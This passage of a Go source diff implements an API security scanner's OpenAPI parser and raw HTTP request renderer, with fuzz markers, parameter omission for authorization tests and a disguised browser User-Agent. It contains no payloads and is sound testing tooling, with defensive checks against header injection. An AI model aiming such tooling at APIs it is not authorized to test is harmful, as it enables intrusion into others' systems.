}
|
||||
switch stringMember(items, "type") {
|
||||
case "integer", "number":
|
||||
return "1"
|
||||
case "boolean":
|
||||
return "true"
|
||||
}
|
||||
if v, ok := placeholderForName(base.Name, p); ok {
|
||||
return v
|
||||
}
|
||||
return p.String
|
||||
}
|
||||
return "1"
|
||||
}
|
||||
|
||||
// versionAwareString keeps one of sj's heuristics: a parameter named for an API
|
||||
// version gets "1" rather than the test string, because "bishopfox" in a version
|
||||
// segment 404s and the operator learns nothing about authorization. The narrower
|
||||
// spelling here is only reached when the document supplies no example, enum or
|
||||
// default, which now covers most version parameters on its own.
|
||||
func versionAwareString(name string, p Placeholders) string {
|
||||
lower := strings.ToLower(name)
|
||||
if lower == "version" || strings.HasSuffix(lower, "version") {
|
||||
return "1"
|
||||
}
|
||||
return p.String
|
||||
}
|
||||
|
||||
func paramDefault(doc map[string]any, m map[string]any, pointer string, p Placeholders, diags *[]Diagnostic) string {
|
||||
if schema, ok := m["schema"].(map[string]any); ok {
|
||||
node := newExpander(doc, diags).expand(schema, pointer+"/schema")
|
||||
return scalarString(generateExample(node, p))
|
||||
}
|
||||
base := Param{Name: stringMember(m, "name"), Type: stringMember(m, "type"), Enum: stringEnum(m["enum"])}
|
||||
return inlineDefault(m, base, p)
|
||||
}
|
||||
|
||||
// operationID prefers the document's own operationId and falls back to a stable
|
||||
// method:path form.
|
||||
func operationID(opMap map[string]any, method, path string) string {
|
||||
if id := stringMember(opMap, "operationId"); id != "" {
|
||||
return id
|
||||
}
|
||||
return strings.ToLower(method) + ":" + path
|
||||
}
|
||||
|
||||
func stringMember(m map[string]any, key string) string {
|
||||
if m == nil {
|
||||
return ""
|
||||
}
|
||||
s, _ := m[key].(string)
|
||||
return s
|
||||
}
|
||||
|
||||
func boolMember(m map[string]any, key string) bool {
|
||||
if m == nil {
|
||||
return false
|
||||
}
|
||||
b, _ := m[key].(bool)
|
||||
return b
|
||||
}
|
||||
|
||||
func stringSlice(v any) []string {
|
||||
items, ok := v.([]any)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
out := make([]string, 0, len(items))
|
||||
for _, item := range items {
|
||||
if s, ok := item.(string); ok {
|
||||
out = append(out, s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func stringEnum(v any) []string {
|
||||
items, ok := v.([]any)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
out := make([]string, 0, len(items))
|
||||
for _, item := range items {
|
||||
out = append(out, scalarString(item))
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,297 @@
|
||||
package apispec
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// schemaNode is the flattened form of one JSON Schema subtree.
|
||||
//
|
||||
// It is unexported and never crosses the API boundary. It exists only to feed
|
||||
// generateExample; once a value has been produced the tree is dead weight, and
|
||||
// exporting it would put OpenAPI's vocabulary into a model whose whole claim is
|
||||
// that it has none. If a per-field body editor is ever wanted, the extension
|
||||
// point is Body.Fields, not this.
|
||||
type schemaNode struct {
|
||||
Type string
|
||||
Format string
|
||||
Properties map[string]*schemaNode
|
||||
// PropertyOrder is sorted, not document order: the document decodes into a
|
||||
// map, which has none. Sorted is what matters — it makes a generated body
|
||||
// byte-stable across runs, so two renders of one operation can be compared by
|
||||
// eye. sj sorts its path and method keys for the same reason, but leaves
|
||||
// property iteration to map order, so its generated bodies differ run to run.
|
||||
PropertyOrder []string
|
||||
Items *schemaNode
|
||||
Required map[string]bool
|
||||
Enum []any
|
||||
Example any
|
||||
Default any
|
||||
OneOf []*schemaNode
|
||||
AnyOf []*schemaNode
|
||||
AdditionalProperties *schemaNode
|
||||
}
|
||||
|
||||
// expander carries the budgets across one expansion. sj uses package-level
|
||||
// state for the equivalent, which is not concurrency-safe; Joro expands several
|
||||
// documents at once.
|
||||
type expander struct {
|
||||
doc map[string]any
|
||||
depth int
|
||||
nodes int
|
||||
// active is the reference chain on the *current path*, pushed on entry and
|
||||
// popped on exit. sj marks a ref visited and never clears it, so a schema
|
||||
// that legitimately names one ref twice as siblings — a billing address and
|
||||
// a shipping address, not a cycle at all — silently loses the second to the
|
||||
// cycle-break.
|
||||
active map[string]bool
|
||||
diags *[]Diagnostic
|
||||
}
|
||||
|
||||
func newExpander(doc map[string]any, diags *[]Diagnostic) *expander {
|
||||
return &expander{doc: doc, active: map[string]bool{}, diags: diags}
|
||||
}
|
||||
|
||||
func (e *expander) diag(kind DiagKind, ref, pointer, detail string) {
|
||||
if e.diags == nil {
|
||||
return
|
||||
}
|
||||
*e.diags = append(*e.diags, Diagnostic{Kind: kind, Ref: ref, Pointer: pointer, Detail: detail})
|
||||
}
|
||||
|
||||
// emptyObject is what every refusal degrades to: a schema that generates "{}"
|
||||
// rather than nothing, so a request is still built and still sendable.
|
||||
func emptyObject() *schemaNode {
|
||||
return &schemaNode{Type: "object", Properties: map[string]*schemaNode{}, Required: map[string]bool{}}
|
||||
}
|
||||
|
||||
// expand flattens one schema. Every failure path returns an empty object and
|
||||
// records a Diagnostic; none of them return an error, because a single
|
||||
// unresolvable schema must not cost the operator the other forty operations in
|
||||
// the document.
|
||||
func (e *expander) expand(schema map[string]any, pointer string) *schemaNode {
|
||||
if schema == nil {
|
||||
return emptyObject()
|
||||
}
|
||||
e.nodes++
|
||||
if e.nodes > MaxSchemaNodes {
|
||||
e.diag(DiagNodeBudget, "", pointer, "schema expansion exceeded the node budget")
|
||||
return emptyObject()
|
||||
}
|
||||
if e.depth > MaxRefDepth {
|
||||
e.diag(DiagDepthExceeded, "", pointer, "schema nesting exceeded the depth limit")
|
||||
return emptyObject()
|
||||
}
|
||||
|
||||
if ref, ok := schema["$ref"].(string); ok && ref != "" {
|
||||
return e.expandRef(ref, pointer)
|
||||
}
|
||||
|
||||
node := &schemaNode{
|
||||
Properties: map[string]*schemaNode{},
|
||||
Required: map[string]bool{},
|
||||
}
|
||||
if t, ok := schema["type"].(string); ok {
|
||||
node.Type = t
|
||||
} else if types, ok := schema["type"].([]any); ok {
|
||||
// OpenAPI 3.1 allows a type array, commonly ["string","null"]. Take the
|
||||
// first non-null member; sj reads only the string form and silently
|
||||
// treats the whole schema as untyped.
|
||||
for _, t := range types {
|
||||
if s, ok := t.(string); ok && s != "null" {
|
||||
node.Type = s
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if f, ok := schema["format"].(string); ok {
|
||||
node.Format = f
|
||||
}
|
||||
if enum, ok := schema["enum"].([]any); ok {
|
||||
node.Enum = enum
|
||||
}
|
||||
if ex, ok := schema["example"]; ok && ex != nil {
|
||||
node.Example = ex
|
||||
}
|
||||
if def, ok := schema["default"]; ok && def != nil {
|
||||
node.Default = def
|
||||
}
|
||||
if req, ok := schema["required"].([]any); ok {
|
||||
for _, r := range req {
|
||||
if name, ok := r.(string); ok {
|
||||
node.Required[name] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
e.depth++
|
||||
defer func() { e.depth-- }()
|
||||
|
||||
if props, ok := schema["properties"].(map[string]any); ok {
|
||||
for _, name := range sortedKeys(props) {
|
||||
if m, ok := props[name].(map[string]any); ok {
|
||||
node.Properties[name] = e.expand(m, pointer+"/properties/"+escapePointer(name))
|
||||
node.PropertyOrder = append(node.PropertyOrder, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
if items, ok := schema["items"].(map[string]any); ok {
|
||||
node.Items = e.expand(items, pointer+"/items")
|
||||
}
|
||||
if ap, ok := schema["additionalProperties"].(map[string]any); ok {
|
||||
node.AdditionalProperties = e.expand(ap, pointer+"/additionalProperties")
|
||||
}
|
||||
|
||||
// allOf merges INTO this node rather than replacing it.
|
||||
//
|
||||
// sj builds a fresh {Type:"object"} holding only Properties and Required and
|
||||
// returns it immediately, which drops Type, Enum, Example, Items and
|
||||
// AdditionalProperties from both this schema and every branch, and discards
|
||||
// any sibling "properties" declared alongside the allOf. An allOf wrapping a
|
||||
// $ref to a string enum comes out of sj as an empty object.
|
||||
if allOf, ok := schema["allOf"].([]any); ok {
|
||||
for i, entry := range allOf {
|
||||
m, ok := entry.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
sub := e.expand(m, pointer+"/allOf/"+itoa(i))
|
||||
for name, v := range sub.Properties {
|
||||
if _, exists := node.Properties[name]; !exists {
|
||||
node.PropertyOrder = append(node.PropertyOrder, name)
|
||||
}
|
||||
node.Properties[name] = v
|
||||
}
|
||||
for name := range sub.Required {
|
||||
node.Required[name] = true
|
||||
}
|
||||
if node.Type == "" {
|
||||
node.Type = sub.Type
|
||||
}
|
||||
if node.Example == nil {
|
||||
node.Example = sub.Example
|
||||
}
|
||||
if node.Items == nil {
|
||||
node.Items = sub.Items
|
||||
}
|
||||
if len(node.Enum) == 0 {
|
||||
node.Enum = sub.Enum
|
||||
}
|
||||
if node.AdditionalProperties == nil {
|
||||
node.AdditionalProperties = sub.AdditionalProperties
|
||||
}
|
||||
}
|
||||
if node.Type == "" && len(node.Properties) > 0 {
|
||||
node.Type = "object"
|
||||
}
|
||||
}
|
||||
|
||||
for _, key := range []string{"oneOf", "anyOf"} {
|
||||
branches, ok := schema[key].([]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
for i, entry := range branches {
|
||||
m, ok := entry.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
sub := e.expand(m, pointer+"/"+key+"/"+itoa(i))
|
||||
if key == "oneOf" {
|
||||
node.OneOf = append(node.OneOf, sub)
|
||||
} else {
|
||||
node.AnyOf = append(node.AnyOf, sub)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return node
|
||||
}
|
||||
|
||||
// expandRef resolves a local pointer and expands what it names.
|
||||
func (e *expander) expandRef(ref, pointer string) *schemaNode {
|
||||
if !strings.HasPrefix(ref, "#") {
|
||||
// Refused, not attempted. See the package doc: the document is
|
||||
// attacker-controlled and the value read would be rendered into a body
|
||||
// and sent to a host the same document chose.
|
||||
e.diag(DiagExternalRef, ref, pointer,
|
||||
"external references are not resolved; only local \"#/...\" pointers are")
|
||||
return emptyObject()
|
||||
}
|
||||
if e.active[ref] {
|
||||
e.diag(DiagRefCycle, ref, pointer, "reference cycle broken")
|
||||
return emptyObject()
|
||||
}
|
||||
|
||||
target, ok := resolvePointer(e.doc, ref)
|
||||
if !ok {
|
||||
e.diag(DiagUnresolvedRef, ref, pointer, "reference does not resolve within the document")
|
||||
return emptyObject()
|
||||
}
|
||||
|
||||
e.active[ref] = true
|
||||
defer delete(e.active, ref)
|
||||
|
||||
e.depth++
|
||||
defer func() { e.depth-- }()
|
||||
|
||||
return e.expand(target, ref)
|
||||
}
|
||||
|
||||
// resolvePointer walks a local JSON pointer ("#/components/schemas/Pet").
|
||||
//
|
||||
// Segments are unescaped per RFC 6901 before each lookup. sj skips that, so any
|
||||
// reference into a path-keyed map — "#/paths/~1pets/get" — resolves to nothing,
|
||||
// silently, which is the whole class of reference a Swagger 2 document uses for
|
||||
// shared parameters.
|
||||
func resolvePointer(doc map[string]any, ref string) (map[string]any, bool) {
|
||||
body := strings.TrimPrefix(ref, "#")
|
||||
body = strings.TrimPrefix(body, "/")
|
||||
if body == "" {
|
||||
return nil, false
|
||||
}
|
||||
segments := strings.Split(body, "/")
|
||||
if len(segments) > MaxPointerSegments {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
var cur any = doc
|
||||
for _, seg := range segments {
|
||||
switch node := cur.(type) {
|
||||
case map[string]any:
|
||||
next, ok := node[unescapePointer(seg)]
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
cur = next
|
||||
case []any:
|
||||
// A pointer segment against an array is an index. This is how a $ref
|
||||
// into a shared "parameters" array is written, so without it the most
|
||||
// common cross-document reference in a hand-written spec resolves to
|
||||
// nothing.
|
||||
idx, err := strconv.Atoi(seg)
|
||||
if err != nil || idx < 0 || idx >= len(node) {
|
||||
return nil, false
|
||||
}
|
||||
cur = node[idx]
|
||||
default:
|
||||
return nil, false
|
||||
}
|
||||
}
|
||||
out, ok := cur.(map[string]any)
|
||||
return out, ok
|
||||
}
|
||||
|
||||
// unescapePointer decodes RFC 6901's two escapes. Order matters: ~1 first, then
|
||||
// ~0, or an encoded "~1" would be decoded twice.
|
||||
func unescapePointer(seg string) string {
|
||||
seg = strings.ReplaceAll(seg, "~1", "/")
|
||||
return strings.ReplaceAll(seg, "~0", "~")
|
||||
}
|
||||
|
||||
// escapePointer is the inverse, used to build the Pointer on a Diagnostic. Order
|
||||
// is the mirror of unescapePointer: ~0 first.
|
||||
func escapePointer(seg string) string {
|
||||
seg = strings.ReplaceAll(seg, "~", "~0")
|
||||
return strings.ReplaceAll(seg, "/", "~1")
|
||||
}
|
||||
@@ -0,0 +1,762 @@
|
||||
package apispec
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Target is where rendered bytes are meant to go. It is returned alongside them
|
||||
// because the senders take scheme and host separately from the request.
|
||||
type Target struct {
|
||||
Scheme string `json:"scheme"`
|
||||
Host string `json:"host"` // host[:port]
|
||||
Path string `json:"path"` // origin-form request target, query included
|
||||
}
|
||||
|
||||
// Credential is one concrete secret. It is never part of a parsed Spec: a
|
||||
// document declares that a scheme exists, never what satisfies it.
|
||||
type Credential struct {
|
||||
// Scheme names the AuthScheme this satisfies. Empty applies it
|
||||
// unconditionally, which is what a hand-written header profile wants.
|
||||
Scheme string `json:"scheme,omitempty"`
|
||||
|
||||
Kind AuthKind `json:"kind"`
|
||||
|
||||
// In and Name are used for AuthAPIKey, and are normally copied from the
|
||||
// scheme the document declared.
|
||||
In ParamIn `json:"in,omitempty"`
|
||||
Name string `json:"name,omitempty"`
|
||||
|
||||
Value string `json:"value,omitempty"` // bearer token or api key
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
}
|
||||
|
||||
// Header is a literal header a profile adds.
|
||||
type Header struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// Cookie is a literal cookie a profile adds.
|
||||
type Cookie struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// Auth is everything one profile contributes to a request.
|
||||
type Auth struct {
|
||||
Credentials []Credential `json:"credentials,omitempty"`
|
||||
Headers []Header `json:"headers,omitempty"`
|
||||
Cookies []Cookie `json:"cookies,omitempty"`
|
||||
}
|
||||
|
||||
// RenderOptions tunes one render.
|
||||
type RenderOptions struct {
|
||||
// UserAgent is one rung of the ladder Render resolves, most specific first:
|
||||
// an auth profile, a value the operator typed for a declared "in: header"
|
||||
// parameter, this, the document's generated placeholder, DefaultUserAgent.
|
||||
// The request carries exactly one whatever happens.
|
||||
UserAgent string
|
||||
|
||||
// Accept defaults to a permissive value when empty.
|
||||
Accept string
|
||||
|
||||
// FuzzParam names a parameter to wrap in FuzzMarker, for handing the result
|
||||
// to the fuzzer. The marker is placed after encoding, which is why this is
|
||||
// done here rather than by searching the rendered bytes: the value may be
|
||||
// percent-encoded, may appear more than once, and may live inside a JSON
|
||||
// body.
|
||||
FuzzParam string
|
||||
FuzzMarker string
|
||||
|
||||
// Omit drops a parameter from the request entirely, keyed by ValueKey. It is
|
||||
// distinct from an empty value in Values: absent means "use what the parser
|
||||
// generated" and empty means "send it empty", so without this there is no way
|
||||
// to express leaving a parameter out — which is exactly the test an operator
|
||||
// wants against one the document marks required.
|
||||
Omit map[string]bool
|
||||
}
|
||||
|
||||
const defaultAccept = "application/json, text/plain, */*"
|
||||
|
||||
// DefaultUserAgent is what a request carries when the operator has named no
|
||||
// other.
|
||||
//
|
||||
// Sending no User-Agent at all is not the quiet option it looks like. These
|
||||
// bytes reach the target through Joro's own proxy, which parses them and
|
||||
// forwards with net/http — and net/http substitutes its own Go-http-client
|
||||
// default for a request that has no User-Agent key. An absent header therefore
|
||||
// advertises a Go program to the target while showing the operator nothing,
|
||||
// which is the one combination worth ruling out: a rendered request is only
|
||||
// trustworthy if it is what leaves the machine.
|
||||
//
|
||||
// So a named User-Agent that writeHeader would drop, or that net/http would
|
||||
// strip as blank, does not count as named — see usableUA.
|
||||
const DefaultUserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
|
||||
|
||||
// UserAgentOr returns ua when it is usable as a header value and
|
||||
// DefaultUserAgent otherwise.
|
||||
//
|
||||
// Exported for the raw-request builders outside this package, which concatenate
|
||||
// their header lines by hand and so do not get writeHeader's CR/LF check.
|
||||
// Routing an operator-supplied value through here is what keeps a newline in one
|
||||
// from splitting the header block.
|
||||
func UserAgentOr(ua string) string {
|
||||
if v := usableUA(ua); v != "" {
|
||||
return v
|
||||
}
|
||||
return DefaultUserAgent
|
||||
}
|
||||
|
||||
// isUserAgent reports whether name is the User-Agent header, however spelled.
|
||||
// A document chooses that spelling, not Joro, so this is case- and
|
||||
// space-insensitive.
|
||||
func isUserAgent(name string) bool {
|
||||
return strings.EqualFold(strings.TrimSpace(name), "User-Agent")
|
||||
}
|
||||
|
||||
// usableUA returns value when it will survive both writeHeader and net/http's
|
||||
// own serialization, and "" otherwise.
|
||||
//
|
||||
// Blank and invalid are as good as unnamed: treating either as named suppresses
|
||||
// DefaultUserAgent, and the request then reaches the target carrying no
|
||||
// User-Agent at all or net/http's own.
|
||||
func usableUA(value string) string {
|
||||
if strings.TrimSpace(value) == "" || !validHeaderValue(value) {
|
||||
return ""
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
// firstUsableUA picks the first candidate that will reach the wire intact,
|
||||
// which is how the rungs of the ladder fall through to one another, and
|
||||
// DefaultUserAgent is the floor none of them can drop past.
|
||||
func firstUsableUA(candidates ...string) string {
|
||||
for _, c := range candidates {
|
||||
if v := usableUA(c); v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return DefaultUserAgent
|
||||
}
|
||||
|
||||
// authUserAgent returns the usable User-Agent a profile names, or "". The two
|
||||
// loops are in applyAuth's order, so last-wins agrees with dedupeHeaders.
|
||||
func authUserAgent(auth Auth) string {
|
||||
ua := ""
|
||||
for _, c := range auth.Credentials {
|
||||
if c.Kind != AuthAPIKey || c.In == InQuery || c.In == InCookie {
|
||||
continue
|
||||
}
|
||||
if c.Name != "" && c.Value != "" && isUserAgent(c.Name) && validHeaderName(c.Name) {
|
||||
ua = usableUA(c.Value)
|
||||
}
|
||||
}
|
||||
for _, h := range auth.Headers {
|
||||
if isUserAgent(h.Name) && validHeaderName(h.Name) {
|
||||
ua = usableUA(h.Value)
|
||||
}
|
||||
}
|
||||
return ua
|
||||
}
|
||||
|
||||
// Render builds the raw HTTP/1.1 bytes for one operation.
|
||||
//
|
||||
// These bytes are the executable truth. The Spec is the editing document, and
|
||||
// every path from the spec tab to the wire goes through here — there is no
|
||||
// second rendering anywhere, which is what lets the operator trust that what
|
||||
// they are shown is what is sent. Nothing in this package transmits them.
|
||||
func Render(op *Operation, srv Server, vals Values, auth Auth, opts RenderOptions) ([]byte, Target, error) {
|
||||
if op == nil {
|
||||
return nil, Target{}, fmt.Errorf("no operation")
|
||||
}
|
||||
scheme, host, err := validateTarget(srv)
|
||||
if err != nil {
|
||||
return nil, Target{}, err
|
||||
}
|
||||
if vals == nil {
|
||||
vals = Values{}
|
||||
}
|
||||
|
||||
marker := opts.FuzzMarker
|
||||
if opts.FuzzParam != "" && marker == "" {
|
||||
marker = "§"
|
||||
}
|
||||
mark := func(key, v string) string {
|
||||
if opts.FuzzParam != "" && key == opts.FuzzParam {
|
||||
return marker + v + marker
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
// Path parameters.
|
||||
path := srv.BasePath + op.Path
|
||||
queryPairs := make([]string, 0, len(op.Params))
|
||||
headers := make([]Header, 0, len(op.Params)+8)
|
||||
cookies := make([]Cookie, 0, 4)
|
||||
|
||||
// The two document-side rungs of the User-Agent ladder, filled below: what
|
||||
// the operator typed for a declared parameter, and the placeholder the
|
||||
// parser generated for one.
|
||||
var typedUA, docUA string
|
||||
|
||||
// Exploded object properties are regrouped so the style can be honored: the
|
||||
// three forms below are three different requests, and which one the server
|
||||
// accepts is not negotiable.
|
||||
groups := groupExploded(op.Params)
|
||||
|
||||
for _, prm := range op.Params {
|
||||
key := ValueKey(prm.In, prm.Name)
|
||||
omitted := opts.Omit[key]
|
||||
if omitted && prm.In != InPath {
|
||||
// Omitted entirely rather than sent empty. Leaving out a parameter the
|
||||
// document marks required is a real test, so it has to be expressible.
|
||||
continue
|
||||
}
|
||||
raw, overridden := vals[key]
|
||||
if !overridden {
|
||||
raw = prm.Default
|
||||
}
|
||||
|
||||
switch prm.In {
|
||||
case InPath:
|
||||
// A path parameter is part of the template, so it cannot be absent the
|
||||
// way a query parameter can — dropping the substitution would only
|
||||
// leave "{petId}" for the leftover-brace pass to fill back in, and
|
||||
// unticking it would appear to do nothing. Collapsing it to an empty
|
||||
// segment is the test that is actually available here, and the one
|
||||
// worth having: "/pet/" rather than "/pet/1".
|
||||
if omitted {
|
||||
raw = ""
|
||||
}
|
||||
// PathEscape per segment: a value containing "/" becomes %2F, which is
|
||||
// what a single path parameter means.
|
||||
path = strings.Replace(path, "{"+prm.Name+"}", mark(key, url.PathEscape(raw)), 1)
|
||||
case InQuery:
|
||||
if prm.ExplodedFrom != "" {
|
||||
// Emitted once for the whole group, at the position of its first
|
||||
// member, so document order survives.
|
||||
if g, ok := groups[prm.ExplodedFrom]; ok && !g.emitted {
|
||||
g.emitted = true
|
||||
queryPairs = append(queryPairs, renderGroup(g, vals, opts, mark)...)
|
||||
}
|
||||
continue
|
||||
}
|
||||
queryPairs = append(queryPairs, renderScalarQuery(prm, raw, key, mark)...)
|
||||
case InHeader:
|
||||
value := mark(key, raw)
|
||||
if isUserAgent(prm.Name) && validHeaderName(prm.Name) {
|
||||
if overridden {
|
||||
typedUA = usableUA(value)
|
||||
} else {
|
||||
docUA = usableUA(value)
|
||||
}
|
||||
}
|
||||
headers = append(headers, Header{Name: prm.Name, Value: value})
|
||||
case InCookie:
|
||||
cookies = append(cookies, Cookie{Name: prm.Name, Value: mark(key, raw)})
|
||||
}
|
||||
}
|
||||
|
||||
// Any brace left over is a parameter the document never declared. Filling it
|
||||
// keeps a literal "{" off the wire; sj leaves them, and the 404s that come
|
||||
// back read as "this endpoint does not exist", which is the worst thing a
|
||||
// scanner can be wrong about.
|
||||
path = fillUndeclaredPathParams(path)
|
||||
|
||||
// Auth is applied after spec parameters so a profile wins over a generated
|
||||
// placeholder for the same name.
|
||||
headers, queryPairs, cookies = applyAuth(auth, headers, queryPairs, cookies)
|
||||
|
||||
// Resolved here rather than at the write site so there is one answer, and
|
||||
// one place to read the precedence off.
|
||||
userAgent := firstUsableUA(authUserAgent(auth), typedUA, opts.UserAgent, docUA)
|
||||
|
||||
target := path
|
||||
if len(queryPairs) > 0 {
|
||||
target += "?" + strings.Join(queryPairs, "&")
|
||||
}
|
||||
|
||||
body, contentType := selectBody(op, vals)
|
||||
if opts.FuzzParam == ValueKeyBody && len(body) > 0 {
|
||||
body = []byte(marker + string(body) + marker)
|
||||
}
|
||||
|
||||
// The same guard the host and every header already have. Both halves are
|
||||
// document-controlled, and url.Parse percent-decodes BasePath — so a %0d%0a
|
||||
// in a served spec would append a second request to every render.
|
||||
if err := validateRequestTarget(op.Method, target); err != nil {
|
||||
return nil, Target{}, err
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
buf.WriteString(op.Method + " " + target + " HTTP/1.1\r\n")
|
||||
|
||||
writeHeader(&buf, "Host", host)
|
||||
writeHeader(&buf, "User-Agent", userAgent)
|
||||
accept := opts.Accept
|
||||
if accept == "" {
|
||||
accept = defaultAccept
|
||||
}
|
||||
writeHeader(&buf, "Accept", accept)
|
||||
|
||||
for _, h := range headers {
|
||||
// User-Agent is skipped because it was resolved and written above; a
|
||||
// second line here is what the ladder exists to prevent.
|
||||
if reservedHeader(h.Name) || isUserAgent(h.Name) {
|
||||
continue
|
||||
}
|
||||
writeHeader(&buf, h.Name, h.Value)
|
||||
}
|
||||
if c := buildCookieHeader(cookies); c != "" {
|
||||
writeHeader(&buf, "Cookie", c)
|
||||
}
|
||||
if contentType != "" {
|
||||
writeHeader(&buf, "Content-Type", contentType)
|
||||
}
|
||||
if len(body) > 0 || methodExpectsBody(op.Method) {
|
||||
// Computed here from the bytes in hand. proxy.UpdateContentLength exists
|
||||
// to repair edited bytes; nothing needs repairing when the body was just
|
||||
// built. No Transfer-Encoding, ever.
|
||||
writeHeader(&buf, "Content-Length", strconv.Itoa(len(body)))
|
||||
}
|
||||
|
||||
buf.WriteString("\r\n")
|
||||
buf.Write(body)
|
||||
|
||||
return buf.Bytes(), Target{Scheme: scheme, Host: host, Path: target}, nil
|
||||
}
|
||||
|
||||
// Serialization styles, from OpenAPI 3's `style` keyword.
|
||||
const (
|
||||
StyleForm = "form"
|
||||
StyleSimple = "simple"
|
||||
StyleDeepObject = "deepObject"
|
||||
StyleSpaceDelimited = "spaceDelimited"
|
||||
StylePipeDelimited = "pipeDelimited"
|
||||
)
|
||||
|
||||
// defaultStyleFor returns the style a parameter has when the document does not
|
||||
// say. It is not the same everywhere: query and cookie default to form, path and
|
||||
// header to simple.
|
||||
func defaultStyleFor(in ParamIn) string {
|
||||
switch in {
|
||||
case InQuery, InCookie:
|
||||
return StyleForm
|
||||
default:
|
||||
return StyleSimple
|
||||
}
|
||||
}
|
||||
|
||||
// explodedGroup is one object-schema query parameter, put back together from the
|
||||
// per-property Params the parser split it into.
|
||||
type explodedGroup struct {
|
||||
parent string
|
||||
style string
|
||||
explode bool
|
||||
members []Param
|
||||
emitted bool
|
||||
}
|
||||
|
||||
// groupExploded collects the per-property Params belonging to each object
|
||||
// parameter, preserving document order within the group.
|
||||
func groupExploded(params []Param) map[string]*explodedGroup {
|
||||
groups := map[string]*explodedGroup{}
|
||||
for _, prm := range params {
|
||||
if prm.In != InQuery || prm.ExplodedFrom == "" {
|
||||
continue
|
||||
}
|
||||
g, ok := groups[prm.ExplodedFrom]
|
||||
if !ok {
|
||||
g = &explodedGroup{parent: prm.ExplodedFrom, style: prm.Style, explode: prm.Explode}
|
||||
groups[prm.ExplodedFrom] = g
|
||||
}
|
||||
g.members = append(g.members, prm)
|
||||
}
|
||||
return groups
|
||||
}
|
||||
|
||||
// renderGroup serializes one object parameter according to its style.
|
||||
//
|
||||
// The default when a document says nothing is form+explode, which is also what
|
||||
// every property being its own top-level pair means — so the common case is
|
||||
// unchanged. The other two are what a document is asking for when it bothers to
|
||||
// say so, and sending the default instead produces a request the server reads as
|
||||
// something else entirely: Stripe alone declares deepObject on over a thousand
|
||||
// parameters.
|
||||
func renderGroup(g *explodedGroup, vals Values, opts RenderOptions, mark func(string, string) string) []string {
|
||||
type kv struct{ name, value, key string }
|
||||
present := make([]kv, 0, len(g.members))
|
||||
for _, m := range g.members {
|
||||
key := ValueKey(m.In, m.Name)
|
||||
if opts.Omit[key] {
|
||||
continue
|
||||
}
|
||||
v, ok := vals[key]
|
||||
if !ok {
|
||||
v = m.Default
|
||||
}
|
||||
present = append(present, kv{m.Name, v, key})
|
||||
}
|
||||
if len(present) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
switch g.style {
|
||||
case StyleDeepObject:
|
||||
// ?parent[child]=value
|
||||
out := make([]string, 0, len(present))
|
||||
for _, p := range present {
|
||||
name := url.QueryEscape(g.parent) + "%5B" + url.QueryEscape(p.name) + "%5D"
|
||||
out = append(out, name+"="+mark(p.key, url.QueryEscape(p.value)))
|
||||
}
|
||||
return out
|
||||
|
||||
case StyleForm, "":
|
||||
if g.explode || g.style == "" {
|
||||
// ?child=value, one pair per property — the default.
|
||||
out := make([]string, 0, len(present))
|
||||
for _, p := range present {
|
||||
out = append(out, url.QueryEscape(p.name)+"="+mark(p.key, url.QueryEscape(p.value)))
|
||||
}
|
||||
return out
|
||||
}
|
||||
// ?parent=k1,v1,k2,v2
|
||||
parts := make([]string, 0, len(present)*2)
|
||||
for _, p := range present {
|
||||
parts = append(parts, p.name, p.value)
|
||||
}
|
||||
return []string{url.QueryEscape(g.parent) + "=" + url.QueryEscape(strings.Join(parts, ","))}
|
||||
}
|
||||
|
||||
// An unrecognized style falls back to the default shape rather than dropping
|
||||
// the parameter; the parser has already recorded a diagnostic for it.
|
||||
out := make([]string, 0, len(present))
|
||||
for _, p := range present {
|
||||
out = append(out, url.QueryEscape(p.name)+"="+mark(p.key, url.QueryEscape(p.value)))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// renderScalarQuery serializes one non-object query parameter.
|
||||
//
|
||||
// The value is a single string the operator can see and edit, so a multi-valued
|
||||
// parameter is expressed by commas in that string and the style decides what
|
||||
// commas mean on the wire.
|
||||
func renderScalarQuery(prm Param, raw, key string, mark func(string, string) string) []string {
|
||||
name := url.QueryEscape(prm.Name)
|
||||
|
||||
if prm.Type == "array" && raw != "" {
|
||||
items := strings.Split(raw, ",")
|
||||
if len(items) > 1 {
|
||||
switch prm.Style {
|
||||
case StyleSpaceDelimited:
|
||||
return []string{name + "=" + mark(key, url.QueryEscape(strings.Join(items, " ")))}
|
||||
case StylePipeDelimited:
|
||||
return []string{name + "=" + mark(key, url.QueryEscape(strings.Join(items, "|")))}
|
||||
case StyleForm, "":
|
||||
if prm.Explode || prm.Style == "" {
|
||||
// Repeat the key, which is what form+explode means for an array
|
||||
// and what Swagger 2's collectionFormat: multi meant before it.
|
||||
out := make([]string, 0, len(items))
|
||||
